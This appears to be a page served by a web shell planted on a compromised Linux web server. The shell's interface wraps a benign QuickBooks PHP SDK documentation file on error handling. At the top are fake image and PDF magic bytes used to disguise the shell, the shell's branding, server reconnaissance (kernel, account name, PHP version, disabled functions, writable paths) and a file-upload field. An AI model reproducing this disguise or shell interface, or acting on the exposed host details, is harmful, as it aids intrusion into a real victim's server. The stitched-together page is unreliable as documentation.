%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/quickbooks/v3-php-sdk/docs/_sources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/quickbooks/v3-php-sdk/docs/_sources/handle-error.rst.txt
==============
Error Handling
==============

Check Error Code and Message
----------------------------

If ``throwExceptionOnError()`` is not turned on, then for all requests that are not made successful, ``DataService`` will store the ``error`` object.

To retrieve the ``error`` object, call the ``getLastError()`` method of the ``DataService`` object:

.. code-block:: php

    // Make the API call
    $result = $dataService->Add($theTargetObj);
    $error =  $dataService->getLastError();

By default, ``$dataService->getLastError()`` returns ``FALSE`` for a successful API call, so you can simply use an ``if`` statement to check if the last API request was successful:

.. code-block:: php

    // Make the API call
    $result = $dataService->Add($theTargetObj);
    $error =  $dataService->getLastError();
    if($error) {
        ...
    } else {
        ....
    }

If the API request fails, use ``getHttpStatusCode()`` and ``getResponseBody()`` to get the status code and response message of the failed request, which provides information to help you identify the cause:

.. code-block:: php

    //Make the API call
    $result = $dataService->Add($theTargetObj);
    $error =  $dataService->getLastError();
    if($error) {
        echo "The Status code is: " . $error->getHttpStatusCode() . "\n";
        echo "The Response message is: " . $error->getResponseBody() . "\n";
    } else {
        ....
    }

Report an Error to Intuit
-------------------------

Sometimes the error returned by QuickBooks Online may not be clear, and you would like Intuit Support to help identify the cause. If so, use the following code to record the Intuit-tid from the response, and send us this value along with the Request and Response log you recorded, so we can help you diagnose the issue:

.. code-block:: php

    $intuit_tid = $error->getIntuitTid();



VaKeR 2022